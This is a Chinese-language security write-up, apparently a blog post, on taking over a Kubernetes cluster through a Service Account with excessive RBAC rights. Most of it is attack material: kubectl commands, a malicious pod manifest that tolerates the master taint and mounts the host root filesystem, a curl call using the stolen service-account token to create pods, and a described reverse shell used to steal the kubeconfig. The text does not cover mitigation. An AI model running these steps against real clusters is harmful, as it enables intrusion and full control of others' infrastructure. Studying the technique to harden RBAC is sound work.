01、概述

Service Account本质是服务账号，是Pod连接K8s集群的凭证。在默认情况下，系统会为创建的Pod提供一个默认的Service Account，用户也可以自定义Service Account，与Service Account关联的凭证会自动挂载到Pod的文件系统中。

当攻击者通过某个web应用获取到一个Pod权限时，如果RBAC权限配置不当，Pod关联的Service Account拥有创建Pod的权限。攻击者就可以使用污点容忍的方式，将挂载根目录的恶意Pod调度到Master节点，获取Master 节点上的 kubeconfig 文件，从而直接接管整个集群。

02、攻击场景

（1）Service Account赋予bypass对test名称空间拥有管理员权限。

kubectl create serviceaccount bypass -n test
kubectl create rolebinding sa-admin --clusterrole=cluster-admin --serviceaccount=test:bypass -n test
kubectl get pod --as=system:serviceaccount:test:bypass

（2）在Pod中，使用自定义的Service Account。

# pod-sa.yaml
apiVersion: v1
kind: Pod
metadata:name: pod-sanamespace: test
spec:serviceAccountName: "bypass"containers:- name: ubuntuimage: ubuntu:20.04command: ['/bin/sh','-c','sleep 24h']

（3）在Pod创建时，Service Account关联的凭证，会挂载到 /var/run/secrets/kubernetes.io/serviceaccount/ 目录，其中ca.crt是证书、namespace是Pod所属的命名空间，token是访问API Server的令牌 。

03、攻击过程

（1）攻击方式：kubectl 命令行操作

在Pod中，下载kubectl命令行工具，使用kubectl auth检查权限，拥有当前名称空间中所有执行操作的权限，这就具备了获取集群权限的条件。

编写一个yaml文件，将节点的根目录挂载到容器的/data 目录，使用污点容忍度创建恶意Pod来对Master节点进行横向控制。

如下图：将构建的Pod成功调度到Mater节点。

yaml文件内容：

apiVersion: v1
kind: Pod
metadata:name: pod1
spec:nodeSelector:node-role.kubernetes.io/master: ""tolerations:- key: "node-role.kubernetes.io/master"operator: "Exists"effect: NoSchedulecontainers:- image: nginx:1.20name: pod1volumeMounts:- mountPath: /dataname: datavolumes:- name: datahostPath:path: /

攻击者成功窃取 kubeconfig 文件，将获得对 Kubernetes 集群的完全控制权限，从而能够任意操控和管理整个集群。

（2）攻击方式：curl 命令操作

首先，创建一个包含恶意代码的镜像,用于反弹Shell，利用curl 命令操作 Kubernetes API创建Pod。

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)用curl创建pod
curl -k --header "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/yaml' \
-s -w "状态码是:%{http_code}\n" \
-d "$(cat /tmp/111.yaml)" \https://10.96.0.1/api/v1/namespaces/test/pods/

远程监听端口来接收Master节点创建的Pod反弹的shell连接，成功获取到kubeconfig文件。